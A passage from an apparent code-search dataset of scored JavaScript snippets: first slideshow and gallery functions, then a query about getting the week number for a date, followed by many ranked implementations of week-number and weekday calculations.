gallery\",width*0.56,height*0.65);\n pop();\n\n}", "title": "" }, { "docid": "0a5b2767b72e7ee8447894e8448ef810", "score": "0.5333348", "text": "function homePageLoad() {\n live = 0;\n\n orderBtn.style.display = 'block';\n homeSlider[0].style.display = 'block';\n\n document.title = \"Home | Golden Mart\";\n}", "title": "" }, { "docid": "84459ef6bc5e23e9800511ed9844e991", "score": "0.5331599", "text": "function autoChangeSlides() {\n\t$('img.previewImage' + currentImage).fadeOut(500);\n\t$('h2.title' + currentImage).fadeOut(500);\t\n\t$('a.galleryBullet' + currentImage).removeClass(\"active\");\n\n\tcurrentImage++;\n\n\tif (currentImage == imagesTotal + 1) {\n\t\tcurrentImage = 0;\n\t}\n\n\t$('a.galleryBullet' + currentImage).addClass(\"active\");\n\t$('img.previewImage' + currentImage).fadeIn(2000);\n\t$('h2.title' + currentImage).fadeIn(2000);\t\n}", "title": "" }, { "docid": "c31a34e0e0b1fbe3edb3086ccc281e97", "score": "0.53300595", "text": "function showSlides(n) {\n var slides = document.getElementsByClassName(\"image\"); // toutes les photos du document\n var dots = document.getElementsByClassName(\"demo\"); // toutes les miniatures du document\n var captionText = document.getElementById(\"caption\"); // l'élement des titres du document\n if (n > slides.length) {slideIndex = 1} // si le nombre d'elément dans slides est plus grand que le nombre de slides\n if (n < 1) {slideIndex = slides.length} // si le nombre d'elément dans slides est plus petit que le nombre de slides\n for (var i = 0; i < slides.length; i++) { // cache toutes les slides\n slides[i].style.display = \"none\";\n }\n for (var i = 0; i < dots.length; i++) { // remplace les dots avec la classe \"active\" par \"\"\n dots[i].className = dots[i].className.replace(\"active\", \"\");\n }\n slides[slideIndex-1].style.display = \"block\"; // définit la diapo actuelle en élément block\n dots[slideIndex-1].className += \"active\"; // définit le dot appartenant à la slide en \"active\"\n captionText.innerHTML = dots[slideIndex-1].alt; // définit le texte appartenant au captiontext de la diapo actuelle\n}", "title": "" }, { "docid": "bfe6dbb3c829ae2d7b890704451f1e7a", "score": "0.5328323", "text": "function addPrevNext() {\n $('.slideshow-container').append(`<a class=\"prev\" onclick=\"plusSlides(-1)\">&#10094;</a>\n <a class=\"next\" onclick=\"plusSlides(1)\">&#10095;</a>`\n )\n}", "title": "" }, { "docid": "a0924c02099ae56d8d153e19ff4f3195", "score": "0.5323983", "text": "function slideUp (el) {\n let tl = anime.timeline({})\n el.style.transform = 'translateY(60px)'\n\n tl.add({\n targets: el,\n opacity: {\n duration: 550,\n value: 1,\n delay: 200,\n easing: 'linear'\n },\n translateY: {\n value: 0,\n easing: 'easeOutElastic(10, 2)',\n duration: 700\n },\n })\n}", "title": "" }, { "docid": "15876abed281f69477f52bed01ed79b0", "score": "0.5316632", "text": "function C011_LiteratureClass_Outro_Click() {\n\n\t// Jump to the next animation\n\tTextPhase++;\n\tif (TextPhase >= 3) SaveMenu(\"C012_AfterClass\", \"Intro\");\n\n}", "title": "" }, { "docid": "2542fff9b66de65f94dadcbab56dc3ac", "score": "0.5312918", "text": "function autoSlide(){ // création de la fonction autoslide\n var images = document.getElementsByClassName(\"image\"); // création de variable pour les photos de la div image\n var dots = document.getElementsByClassName(\"demo\"); // création de variable pour les photos des miniatures\n var captionText = document.getElementById(\"caption\"); // création de variable pour le titre des photos\n\n for (var i = 0; i < images.length; i++) { // la boucle parcourt l'ensemble des photos de la liste pour l'autoslide\n images[i].style.display = \"none\"; // cache les photos\n }\n\n if(index > images.length - 1){ // si la var index > le nombre d'images moins une alors index = 0\n index = 0;\n }\n\n images[index].style.display = \"block\"; // affiche photo\n captionText.innerHTML = dots[index].alt; // prend le texte des photos pour les afficher\n index++;\n\n \n time = setTimeout(autoSlide, 5000); //execute autoslide toutes les 5secondes\n}", "title": "" } ]
f44f71127980ea57bff70b57dd8f4f97
get the week number for a given date (
[ { "docid": "aa4db19b0bb46c026ec2d9bcbb6aeb82", "score": "0.7710254", "text": "function getWeekNumber(inputDate)\n{\n\tvar oneJan = new Date(inputDate.getFullYear(), 0, 1);\n\tvar numberOfDays = Math.floor((inputDate - oneJan) / (24 * 60 * 60 * 1000));\n\tvar result = Math.ceil((inputDate.getDay() + 1 + numberOfDays) / 7);\n\treturn result;\n}", "title": "" } ]
[ { "docid": "e011e4bc15dbac1220bebabea8bfe9b6", "score": "0.8714733", "text": "w (date) {\n return getWeekOfYear(date)\n }", "title": "" }, { "docid": "5fe01f32bfe97aad96772121fec8e58d", "score": "0.8509785", "text": "function _weekNumber(date) {\n var ytd = toNumber(date.strftime(\"%j\"));\n var week = Math.floor(ytd/7);\n if (new Date(date.getFullYear(), 0, 1).getDay() < 4) {\n week++;\n }\n return week;\n}", "title": "" }, { "docid": "9773e535f8a86e55a09921daf112fa54", "score": "0.83779836", "text": "function getWeekNumber(date) {\n date = cloneDate(date);\n var dow = callDateGet(date, 'Day') || 7;\n resetDate(advanceDate(date, [(4 - dow) + ' days']));\n return 1 + floor(sugarDate.daysSince(date, moveToBeginningOfUnit(cloneDate(date), 'year')) / 7);\n }", "title": "" }, { "docid": "3443f000c9a7055667885b571cd573bc", "score": "0.82099223", "text": "function returnWeekNumber_(date){\n var target = date; \n \n // ISO week date weeks start on monday \n // so correct the day number \n var dayNr = (date.getDay() + 6) % 7; \n \n // ISO 8601 states that week 1 is the week \n // with the first thursday of that year. \n // Set the target date to the thursday in the target week \n target.setDate(target.getDate() - dayNr + 3); \n \n // Store the millisecond value of the target date \n var firstThursday = target.valueOf(); \n \n // Set the target to the first thursday of the year \n // First set the target to january first \n target.setMonth(0, 1); \n // Not a thursday? Correct the date to the next thursday \n if (target.getDay() != 4) { \n target.setMonth(0, 1 + ((4 - target.getDay()) + 7) % 7); \n } \n \n // The weeknumber is the number of weeks between the \n // first thursday of the year and the thursday in the target week \n var weekNo = 1 + Math.ceil((firstThursday - target) / 604800000);\n return weekNo; \n}", "title": "" }, { "docid": "e58cc5c04618d826c0738968ff2da3d8", "score": "0.80078506", "text": "function getWeekNumber()\n {\n /* var weekNumber;\n\n var currentDate = new Date();\n\n for(var week in DATES) \n {\n var tempDate = new Date(DATES[week]);\n\n if (currentDate <= tempDate )\n {\n weekNumber = week;\n }\n }\n\n if (weekNumber == undefined) {\n weekNumber = week;\n } */\n\n return 13; \n }", "title": "" }, { "docid": "029c6259b9ecbfd849d10ba1eea7da5c", "score": "0.78554016", "text": "function getWeekNumber(d) {\n\t\t // Copy date so don't modify original\n\t\t d = new Date(+d);\n\t\t d.setHours(0,0,0);\n\t\t // Set to nearest Thursday: current date + 4 - current day number\n\t\t // Make Sunday's day number 7\n\t\t d.setDate(d.getDate() + 4 - (d.getDay()||7));\n\t\t // Get first day of year\n\t\t var yearStart = new Date(d.getFullYear(),0,1);\n\t\t // Calculate full weeks to nearest Thursday\n\t\t return Math.ceil(( ( (d - yearStart) / 86400000) + 1)/7)\n\t\t}", "title": "" }, { "docid": "99f8c59fe60c37ad8546be3b070f0dc8", "score": "0.7829306", "text": "getWeekNumber(d) {\n // Copy date so don't modify original\n d = new Date(Date.UTC(d.getFullYear(), d.getMonth(), d.getDate()));\n // Set to nearest Thursday: current date + 4 - current day number\n // Make Sunday's day number 7\n d.setUTCDate(d.getUTCDate() + 4 - (d.getUTCDay() || 7));\n // Get first day of year\n const yearStart = new Date(Date.UTC(d.getUTCFullYear(), 0, 1));\n // Calculate full weeks to nearest Thursday\n // @ts-ignore subtracting dates is fine\n let weekNo = Math.ceil((((d - yearStart) / 86400000) + 1) / 7).toString();\n\n if (weekNo.length === 1) {\n weekNo = '0' + weekNo;\n }\n // Return week number\n return weekNo;\n }", "title": "" }, { "docid": "8d5d30de22303c402429e80895afdc8c", "score": "0.78242904", "text": "function weekOfYear(date) {\n // Remove time components of date\n var thursday = new Date(date.getFullYear(), date.getMonth(), date.getDate() - dayOfWeek(date) + 4);\n // Take January 4th as it is always in week 1 (see ISO 8601)\n var jan4 = new Date(thursday.getFullYear(), 0, 4);\n // Number of days between target date and january 4th\n var dayDiff = dayOfYear(thursday) - 4 + dayOfWeek(jan4);\n // Calculate week number: Week 1 (january 4th) plus the\n // number of weeks between target date and january 4th\n return Math.ceil(dayDiff / 7);\n }", "title": "" }, { "docid": "bdcc119b7c629ed3b985ac03b61ea3e1", "score": "0.78200597", "text": "ww (date) {\n return Object(_format_js__WEBPACK_IMPORTED_MODULE_1__[\"pad\"])(getWeekOfYear(date))\n }", "title": "" }, { "docid": "0dc01dd166ccc1b9e6f3d6c186589aa4", "score": "0.78118855", "text": "function getWeek(date) {\n if(date >= new Date(2018, 2, 5) && date <= new Date(2018, 2, 9))\n return 6;\n else if(date >= new Date(2018, 2, 12) && date <= new Date(2018, 2, 16))\n return 7;\n else if(date >= new Date(2018, 2, 19) && date <= new Date(2018, 2, 23))\n return 8;\n else if(date >= new Date(2018, 3, 16) && date <= new Date(2018, 3, 20))\n return 9;\n else if(date >= new Date(2018, 3, 23) && date <= new Date(2018, 3, 27))\n return 10;\n else if(date >= new Date(2018, 3, 30) && date <= new Date(2018, 4, 4))\n return 11;\n else if(date >= new Date(2018, 4, 7) && date <= new Date(2018, 4, 11))\n return 12;\n else return 0;\n}", "title": "" }, { "docid": "c1ec6214a80a5b04353342ba068697c9", "score": "0.7667751", "text": "function weekNumberFromDate(d) {\r\n // Copy date so don't modify original\r\n d = new Date(Date.UTC(d.getFullYear(), d.getMonth(), d.getDate()));\r\n // Set to nearest Thursday: current date + 4 - current day number\r\n // Make Sunday's day number 7\r\n d.setUTCDate(d.getUTCDate() + 4 - (d.getUTCDay()||7));\r\n // Get first day of year\r\n var yearStart = new Date(Date.UTC(d.getUTCFullYear(),0,1));\r\n // Calculate full weeks to nearest Thursday\r\n var weekNo = Math.ceil(( ( (d - yearStart) / 86400000) + 1)/7);\r\n // Return array of year and week number\r\n return {year: d.getUTCFullYear(), week: weekNo};\r\n}", "title": "" }, { "docid": "56f4bef995c7055c4664b0255c4b46a0", "score": "0.7634927", "text": "function getISOWeekNum(y,m,d) {\n const date = new Date(y,m,d);\n // Create a copy of this date object\n const target = new Date(y,m,d);\n\n // ISO week date weeks start on monday\n // so correct the day number\n var monday = (date.getDay() + 6) % 7;\n\n // ISO 8601 states that week 1 is the week\n // with the first thursday of that year.\n // Set the target date to the thursday in the target week\n target.setDate(target.getDate() - monday + 3);\n\n // Store the millisecond value of the target date\n var firstThursday = target.valueOf();\n\n // Set the target to the first thursday of the year\n // First set the target to january first\n target.setMonth(0, 1);\n // Not a thursday? Correct the date to the next thursday\n if (target.getDay() != 4) {\n target.setMonth(0, 1 + ((4 - target.getDay()) + 7) % 7);\n }\n\n // The weeknumber is the number of weeks between the \n // first thursday of the year and the thursday in the target week\n return 1 + Math.ceil((firstThursday - target) / 604800000); // 604800000 = 7 * 24 * 3600 * 1000\n}", "title": "" }, { "docid": "3fea76fb2f17a2d3237e3d5ee787db3a", "score": "0.75996995", "text": "function getWeekOfYear(jsDate) {\n var target = new Date(jsDate.valueOf());\n\n // ISO week date weeks start on monday \n // so correct the day number \n var dayNr = (jsDate.getDay() + 6) % 7;\n\n // Set the target to the thursday of this week so the \n // target date is in the right year \n target.setDate(target.getDate() - dayNr + 3);\n\n // ISO 8601 states that week 1 is the week \n // with january 4th in it \n var jan4 = new Date(target.getFullYear(), 0, 4);\n\n // Number of days between target date and january 4th \n var dayDiff = (target - jan4) / 86400000;\n\n // Calculate week number: Week 1 (january 4th) plus the \n // number of weeks between target date and january 4th \n var weekNr = 1 + Math.ceil(dayDiff / 7);\n return weekNr;\n}", "title": "" }, { "docid": "25130ce4174aa3f5217f94b92b160e89", "score": "0.7534132", "text": "function getWeekDay(date) {\n if (date === knowledge.date) {\n return knowledge.weekDay;\n }\n return (knowledge.weekDay + getNumberOfDaysBetween(knowledge.date, date)) % 7;\n}", "title": "" }, { "docid": "57c553e306039867260425578854f0a8", "score": "0.7497257", "text": "function getWeekNumber(d) {\n // Copy date so don't modify original\n d = new Date(+d);\n d.setHours(0,0,0);\n // Set to nearest Thursday: current date + 4 - current day number\n // Make Sunday's day number 7\n d.setDate(d.getDate() + 4 - (d.getDay()||7));\n // Get first day of year\n var yearStart = new Date(d.getFullYear(),0,1);\n // Calculate full weeks to nearest Thursday\n var weekNo = Math.ceil(( ( (d - yearStart) / 86400000) + 1)/7)\n // Return array of year and week number\n return [d.getFullYear(), weekNo];\n}", "title": "" }, { "docid": "dd5ed38355314a867564f39f9e4287e5", "score": "0.7469741", "text": "function getWeekNumber(d) {\n // Copy date so don't modify original\n d = new Date(Date.UTC(d.getFullYear(), d.getMonth(), d.getDate()));\n // Set to nearest Thursday: current date + 4 - current day number\n // Make Sunday's day number 7\n d.setUTCDate(d.getUTCDate() + 4 - (d.getUTCDay()||7));\n // Get first day of year\n var yearStart = new Date(Date.UTC(d.getUTCFullYear(),0,1));\n // Calculate full weeks to nearest Thursday\n var weekNo = Math.ceil(( ( (d - yearStart) / 86400000) + 1)/7);\n // Return array of year and week number\n return [d.getUTCFullYear(), weekNo];\n}", "title": "" }, { "docid": "183cbd8e6735a11fe76ca6974204fc40", "score": "0.7377005", "text": "function cdr_dates_week(date) {\n let result = ``;\n\n if (date) {\n let temp = moment(date).isoWeek();\n result = temp;\n }\n\n return result;\n}", "title": "" }, { "docid": "ff6862f01e92048a23d07855f3ff5b71", "score": "0.7370886", "text": "function iso8601Week(date) {\n\tvar time;\n\tvar checkDate = new Date(date.getTime());\n\n\t// Find Thursday of this week starting on Monday\n\tcheckDate.setDate(checkDate.getDate() + 4 - (checkDate.getDay() || 7));\n\n\ttime = checkDate.getTime();\n\tcheckDate.setMonth(0); // Compare with Jan 1\n\tcheckDate.setDate(1);\n\treturn Math.floor(Math.round((time - checkDate) / 86400000) / 7) + 1;\n}", "title": "" }, { "docid": "ff6862f01e92048a23d07855f3ff5b71", "score": "0.7370886", "text": "function iso8601Week(date) {\n\tvar time;\n\tvar checkDate = new Date(date.getTime());\n\n\t// Find Thursday of this week starting on Monday\n\tcheckDate.setDate(checkDate.getDate() + 4 - (checkDate.getDay() || 7));\n\n\ttime = checkDate.getTime();\n\tcheckDate.setMonth(0); // Compare with Jan 1\n\tcheckDate.setDate(1);\n\treturn Math.floor(Math.round((time - checkDate) / 86400000) / 7) + 1;\n}", "title": "" }, { "docid": "ff6862f01e92048a23d07855f3ff5b71", "score": "0.7370886", "text": "function iso8601Week(date) {\n\tvar time;\n\tvar checkDate = new Date(date.getTime());\n\n\t// Find Thursday of this week starting on Monday\n\tcheckDate.setDate(checkDate.getDate() + 4 - (checkDate.getDay() || 7));\n\n\ttime = checkDate.getTime();\n\tcheckDate.setMonth(0); // Compare with Jan 1\n\tcheckDate.setDate(1);\n\treturn Math.floor(Math.round((time - checkDate) / 86400000) / 7) + 1;\n}", "title": "" }, { "docid": "ff6862f01e92048a23d07855f3ff5b71", "score": "0.7370886", "text": "function iso8601Week(date) {\n\tvar time;\n\tvar checkDate = new Date(date.getTime());\n\n\t// Find Thursday of this week starting on Monday\n\tcheckDate.setDate(checkDate.getDate() + 4 - (checkDate.getDay() || 7));\n\n\ttime = checkDate.getTime();\n\tcheckDate.setMonth(0); // Compare with Jan 1\n\tcheckDate.setDate(1);\n\treturn Math.floor(Math.round((time - checkDate) / 86400000) / 7) + 1;\n}", "title": "" }, { "docid": "8fd4c85d5f6b6d3931ed9172bee9693f", "score": "0.73350567", "text": "function $week(obj, expr, options) {\n var d = (0, _internal_1.computeDate)(obj, expr, options);\n var result = (0, _internal_1.isoWeek)(d);\n // check for starting of year and adjust accordingly\n if (d.getUTCDay() > 0 && d.getUTCDate() == 1 && d.getUTCMonth() == 0)\n return 0;\n // adjust for week start on Sunday\n if (d.getUTCDay() == 0)\n return result + 1;\n // else\n return result;\n}", "title": "" }, { "docid": "68f9598d82a27f90bea1886e1e012537", "score": "0.73090225", "text": "function weekNumber(date, firstWeekday) {\n firstWeekday = firstWeekday || 'sunday';\n\n // This works by shifting the weekday back by one day if we\n // are treating Monday as the first day of the week.\n var weekday = date.getDay();\n if (firstWeekday === 'monday') {\n if (weekday === 0) // Sunday\n weekday = 6;else weekday--;\n }\n\n var firstDayOfYearUtc = Date.UTC(date.getFullYear(), 0, 1),\n dateUtc = Date.UTC(date.getFullYear(), date.getMonth(), date.getDate()),\n yday = Math.floor((dateUtc - firstDayOfYearUtc) / 86400000),\n weekNum = (yday + 7 - weekday) / 7;\n\n return Math.floor(weekNum);\n }", "title": "" }, { "docid": "296f2a8a9a3861212be560496c29bd28", "score": "0.7308992", "text": "function weekNumber(date, firstWeekday) {\n firstWeekday = firstWeekday || 'sunday';\n\n // This works by shifting the weekday back by one day if we\n // are treating Monday as the first day of the week.\n var weekday = date.getDay();\n if (firstWeekday === 'monday') {\n if (weekday === 0) // Sunday\n weekday = 6;\n else\n weekday--;\n }\n\n var firstDayOfYearUtc = Date.UTC(date.getFullYear(), 0, 1),\n dateUtc = Date.UTC(date.getFullYear(), date.getMonth(), date.getDate()),\n yday = Math.floor((dateUtc - firstDayOfYearUtc) / 86400000),\n weekNum = (yday + 7 - weekday) / 7;\n\n return Math.floor(weekNum);\n }", "title": "" }, { "docid": "e483f0ab04699dcffef4f38cb57f3ff8", "score": "0.7282543", "text": "function getWeekNumber(date, firstDayOfWeek, firstWeekOfYear) {\n // First four-day week of the year - minumum days count\n var fourDayWeek = 4;\n\n switch (firstWeekOfYear) {\n case _dateValues_dateValues__WEBPACK_IMPORTED_MODULE_0__[\"FirstWeekOfYear\"].FirstFullWeek:\n return getWeekOfYearFullDays(date, firstDayOfWeek, _dateValues_timeConstants__WEBPACK_IMPORTED_MODULE_1__[\"default\"].DaysInOneWeek);\n\n case _dateValues_dateValues__WEBPACK_IMPORTED_MODULE_0__[\"FirstWeekOfYear\"].FirstFourDayWeek:\n return getWeekOfYearFullDays(date, firstDayOfWeek, fourDayWeek);\n\n default:\n return getFirstDayWeekOfYear(date, firstDayOfWeek);\n }\n}", "title": "" }, { "docid": "bb9797d0c400f36a8f954808b93ad44a", "score": "0.72583807", "text": "getWeek(date) {\n var weekdays = date.getDay();\n var weekArray = [\"Sun\", \"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\", \"Sat\"];\n return weekArray[weekdays];\n }", "title": "" }, { "docid": "14251e5ebda442ea24df9d92d7afd8d5", "score": "0.7235884", "text": "function weekNumber(d, firstWeekday) {\n firstWeekday = firstWeekday || 'sunday';\n\n // This works by shifting the weekday back by one day if we\n // are treating Monday as the first day of the week.\n var wday = d.getDay();\n if (firstWeekday == 'monday') {\n if (wday == 0) // Sunday\n wday = 6;\n else\n wday--;\n }\n var firstDayOfYear = new Date(d.getFullYear(), 0, 1)\n , yday = (d - firstDayOfYear) / 86400000\n , weekNum = (yday + 7 - wday) / 7\n ;\n return Math.floor(weekNum);\n }", "title": "" }, { "docid": "8e1377f8cd586a50c0cad58b3ccee559", "score": "0.71910095", "text": "function get_week_day(d) {\n ref_date = new MyDate(25, July, 2018);\n ref_week_day = Wednesday;\n delta = days_in_between(ref_date, d);\n delta_week_day = delta % 7;\n return count_week_days(ref_week_day, delta_week_day);\n}", "title": "" }, { "docid": "13697f9d0710d79f7a598b2f6ce256d3", "score": "0.7124008", "text": "function getWeek(n) {\n n = n || 0;\n selectedWeek += n;\n selectedWeek = selectedWeek < 0 ? weeks.length - 1 : selectedWeek;\n selectedWeek = selectedWeek >= weeks.length ? 0 : selectedWeek;\n return weeks[selectedWeek];\n }", "title": "" }, { "docid": "4c4ea7ab3e07de2d51ef87959e8804bd", "score": "0.7088789", "text": "function weekSundayNumber(d) {\n\n // This works by shifting the weekday back by one day if we\n // are treating Monday as the first day of the week.\n var wday = d.getDay();\n var firstDayOfYear = new Date(d.getFullYear(), 0, 1)\n , yday = (d - firstDayOfYear) / 86400000\n , weekNum = (yday + 7 - wday) / 7\n ;\n return Math.floor(weekNum);\n }", "title": "" }, { "docid": "534953c5e0636953f312d494239ef366", "score": "0.7051731", "text": "function count_week_days(wd, n) {\n wd1 = wd;\n while(n != 0) {\n if(n > 0) {\n wd1 = next_week_day(wd1);\n n -= 1;\n }\n else {\n wd1 = prev_week_day(wd1);\n n += 1;\n }\n }\n return wd1;\n}", "title": "" }, { "docid": "b2ce9cd80434d7b05fc036d265d51bd7", "score": "0.7025503", "text": "function getWeek(year,month,day) {\n \n var when = new Date(year,month,day);\n var newYear = new Date(year,0,1);\n var offset = 7 + 1 - newYear.getDay(); \n if (offset == 8) offset = 1;\n var daynum = ((Date.UTC(y2k(year),when.getMonth(),when.getDate(),0,0,0) - Date.UTC(y2k(year),0,1,0,0,0)) /1000/60/60/24) + 1;\n var weeknum = Math.floor ((daynum-offset+7)/7); \n if (weeknum == 0) {\n year--;\n var prevNewYear = new Date(year,0,1);\n var prevOffset = 7 + 1 - prevNewYear.getDay();\n if (prevOffset == 2 || prevOffset == 8) weeknum = 53; \n else weeknum = 52;\n }\n return weeknum;\n }", "title": "" }, { "docid": "b5ed9b10dd5e787418eb84d4617110e8", "score": "0.7007381", "text": "function dayOfWeek(date) {\n //TODO\n // for inspiration\n // https://artofmemory.com/blog/how-to-calculate-the-day-of-the-week-4203.html\n // https://wpcalc.com/kak-uznat-den-nedeli-lyuboj-daty/\n}", "title": "" }, { "docid": "89d5aab83c9d90bd75b406f75474eb32", "score": "0.70007604", "text": "weekDay(num) {\n if (num === undefined) {\n return this.d.getDay();\n } else {\n const delta = num - this.weekDay();\n return this.add('day', delta);\n }\n }", "title": "" }, { "docid": "cbf25547772150a21f8d4b9e8aed5fa9", "score": "0.69806045", "text": "function getWeek(date, utc) {\r\n if (utc === void 0) { utc = false; }\r\n var day = getYearDay(date, utc) - 1;\r\n var week = Math.floor((day - (date.getDay() || 7) + 10) / 7);\r\n if (week === 0) {\r\n week = 53;\r\n }\r\n else if (week === 53) {\r\n week = 1;\r\n }\r\n return week;\r\n}", "title": "" }, { "docid": "58b69ef78e7d712864559cce17512995", "score": "0.69772726", "text": "function day_of_week(){\n return my_date.getDay();\n}", "title": "" }, { "docid": "ca044191fdcacb732ac751c09bfbf37f", "score": "0.6974974", "text": "function weekAndDay(date) {\n //var days = ['Sunday','Monday','Tuesday','Wednesday','Thursday','Friday','Saturday'],\n prefixes = ['1', '2', '3', '4', '5'];\n return prefixes[Math.floor(date.getDate() / 7)];\n}", "title": "" }, { "docid": "0869822cea4dd966460ef03158f98383", "score": "0.6870601", "text": "function getWeekName(date) {\n let days = ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'];\n\n return days[date.getDay()];\n}", "title": "" }, { "docid": "0d2179e483f8dd1f439e5570bdf72408", "score": "0.6850543", "text": "function getWeeksNumber() {\n let currentWeight = -1\n if (weight !== undefined) {\n if (weight[0] !== undefined) {\n currentWeight = weight[0].weight\n }\n }\n if (currentWeight < 1) {\n return -101\n }\n\n const w = Math.floor((currentWeight - goalweight) / workouts) * 2\n\n // eslint-disable-next-line no-console\n console.log(`w: ${w}`)\n return w\n }", "title": "" }, { "docid": "81302484e83ddf049dff26e41f7b2129", "score": "0.6802235", "text": "function formatDateAsWeek(date) {\n var mom = moment(date);\n return `${mom.isoWeek()}/${mom.isoWeekYear()}`;\n}", "title": "" }, { "docid": "abba29b282b9cd6711c0d73c3cd21a3c", "score": "0.67977214", "text": "function getDayOfWeek(date) {\n var dayOfWeek = date.getDay();\n if (dayOfWeek == 0) {\n return 7;\n } \n return dayOfWeek;\n}", "title": "" }, { "docid": "edca80579dd50519b4b01be24bd8133d", "score": "0.67566514", "text": "function dayOfWeek(date) {\n var zeroBasedResult = sakamotoDayOfWeek(date.getDate(), date.getMonth() + 1, date.getFullYear());\n return zeroBasedResult === 0 ? 7 : zeroBasedResult;\n }", "title": "" }, { "docid": "b8562336060c60569faaf5954ed023e2", "score": "0.6728473", "text": "function getWeek(year,month,day){\r\n if (! weekStartsOnSunday) {\r\n\t day = (day/1);\r\n\t} else {\r\n\t day = (day/1)+1;\r\n\t}\r\n\tyear = year /1;\r\n month = month/1 + 1; //use 1-12\r\n var a = Math.floor((14-(month))/12);\r\n var y = year+4800-a;\r\n var m = (month)+(12*a)-3;\r\n var jd = day + Math.floor(((153*m)+2)/5) +\r\n (365*y) + Math.floor(y/4) - Math.floor(y/100) +\r\n Math.floor(y/400) - 32045; // (gregorian calendar)\r\n var d4 = (jd+31741-(jd%7))%146097%36524%1461;\r\n var L = Math.floor(d4/1460);\r\n var d1 = ((d4-L)%365)+L;\r\n NumberOfWeek = Math.floor(d1/7) + 1;\r\n return NumberOfWeek;\r\n}", "title": "" }, { "docid": "718f14955e622f6ae2b760b9998138de", "score": "0.67229205", "text": "function cdr_dates_week_day(date) {\n let result = ``;\n\n if (date) {\n let temp = moment(date).isoWeekday();\n result = temp;\n }\n\n return result;\n}", "title": "" }, { "docid": "3e637c4bca5f65a3bc23cad7716d6522", "score": "0.66908437", "text": "getNextWeek() {\r\n const now = new Date();\r\n return new Date(now.getFullYear(), now.getMonth(), now.getDate() + 7 - now.getDay() + 1);\r\n }", "title": "" }, { "docid": "db7b7ea9a4253dced8b8050b55999af5", "score": "0.66903603", "text": "function weekday$1(n) {\r\n // Sets the `date` to the start of the `n`-th day of the current week.\r\n // n == 0 is Sunday.\r\n function floor(date) {\r\n date.setUTCDate(date.getUTCDate() - (date.getUTCDay() + 7 - n) % 7);\r\n date.setHours(0, 0, 0, 0); // h, m, s, ms\r\n }\r\n // Offset the date by the given number of weeks.\r\n function offset(date, weeks) {\r\n date.setUTCDate(date.getUTCDate() + weeks * 7);\r\n }\r\n // Count the number of weeks between the start and end dates.\r\n function count(start, end) {\r\n return (end.getTime() - start.getTime()) / durationWeek;\r\n }\r\n return new CountableTimeInterval(floor, offset, count);\r\n}", "title": "" }, { "docid": "64dd5e9be19b72a74fcac1a624d712d3", "score": "0.66840297", "text": "function findWeekBegin(){\r\n\tvar date = new Date();\r\n\tbeginDate = new Date(date - (date.getDay()*DateHelper.DAY));\r\n\tendDate = new Date(beginDate.valueOf() + DateHelper.WEEK - DateHelper.DAY);\r\n}", "title": "" }, { "docid": "da65d78c6c93932d9b7f37fa6c9344dc", "score": "0.6681922", "text": "function GetDayOfWeek(date)\n{\n return weekday[date.getDay()];\n}", "title": "" }, { "docid": "34abbcdcb669ea24ca41077504795181", "score": "0.6663784", "text": "function n_weeks(weekday, jd, nthweek)\n{\n var j = 7 * nthweek;\n\n if (nthweek > 0) {\n j += previous_weekday(weekday, jd);\n } else {\n j += next_weekday(weekday, jd);\n }\n return j;\n}", "title": "" }, { "docid": "89d5a9d4cc33644e2e368b091ef06679", "score": "0.6661769", "text": "function getWeeks(){\n\t\tvar maxDay = this.getMaxDayOfMonth();\n\t\tvar firstDay = this.getFirstDayOfWeek();\n\t\tvar t = maxDay - (7 - firstDay);\n\t\tvar weeks = parseInt(t / 7);\n\t\tif(t % 7 != 0) weeks ++;\n\t\treturn weeks;\n\t}", "title": "" }, { "docid": "16a2e8c9cef2bd2df4ef891e24c6f95c", "score": "0.66527927", "text": "function calcNumberDayWeek(day, month, year) {\n var objFecha = new Date(year, month, day);\n var numDia = objFecha.getDay();\n numDia += startWeekDay;\n if (numDia == 0)\n numDia = 6;\n else\n numDia--;\n return numDia;\n }", "title": "" }, { "docid": "6b9d80b67bb5c03505dbaa81f43dbee2", "score": "0.66438705", "text": "function weekOfYear(mom,firstDayOfWeek,firstDayOfWeekOfYear){var end=firstDayOfWeekOfYear-firstDayOfWeek,daysToDayOfWeek=firstDayOfWeekOfYear-mom.day(),adjustedMoment;if(daysToDayOfWeek>end){daysToDayOfWeek-=7;}if(daysToDayOfWeek<end-7){daysToDayOfWeek+=7;}adjustedMoment=moment(mom).add(daysToDayOfWeek,'d');return{week:Math.ceil(adjustedMoment.dayOfYear()/7),year:adjustedMoment.year()};}//http://en.wikipedia.org/wiki/ISO_week_date#Calculating_a_date_given_the_year.2C_week_number_and_weekday", "title": "" }, { "docid": "f519c319d0f868425274c6c4f17e02c4", "score": "0.66264105", "text": "function getWeek(date, dowOffset) {\n var newYear, day, daynum, weeknum;\n dowOffset = typeof dowOffset == 'number' ? dowOffset : 0; //default dowOffset to zero\n\n newYear = new Date(date.getFullYear(),0,1);\n day = newYear.getDay() - dowOffset; //the day of week the year begins on\n day = (day >= 0 ? day : day + 7);\n daynum = Math.floor((date.getTime() - newYear.getTime() -\n (date.getTimezoneOffset()-newYear.getTimezoneOffset())*60000)/86400000) + 1;\n\n //if the year starts before the middle of a week\n if(day < 4) {\n weeknum = Math.floor((daynum+day-1)/7) + 1;\n if(weeknum > 52) {\n var nYear, nDay;\n nYear = new Date(date.getFullYear() + 1,0,1);\n nDay = nYear.getDay() - dowOffset;\n nDay = nDay >= 0 ? nDay : nDay + 7;\n // if the next year starts before the middle of the week, it is week #1 of that year\n weeknum = nDay < 4 ? 1 : 53;\n }\n }\n else {\n weeknum = Math.floor((daynum+day-1)/7);\n if (weeknum < 1) { weeknum = 53; }\n }\n return weeknum;\n}", "title": "" }, { "docid": "5adbb355ab1ee2a704c41eaaa742dafa", "score": "0.6606422", "text": "function weekday(n) {\r\n // Sets the `date` to the start of the `n`-th day of the current week.\r\n // n == 0 is Sunday.\r\n function floor(date) {\r\n // 1..31 1..7\r\n date.setDate(date.getDate() - (date.getDay() + 7 - n) % 7);\r\n date.setHours(0, 0, 0, 0); // h, m, s, ms\r\n }\r\n // Offset the date by the given number of weeks.\r\n function offset(date, weeks) {\r\n date.setDate(date.getDate() + weeks * 7);\r\n }\r\n // Count the number of weeks between the start and end dates.\r\n function count(start, end) {\r\n var msDelta = end.getTime() - start.getTime();\r\n var tzMinuteDelta = end.getTimezoneOffset() - start.getTimezoneOffset();\r\n return (msDelta - tzMinuteDelta * durationMinute) / durationWeek;\r\n }\r\n return new 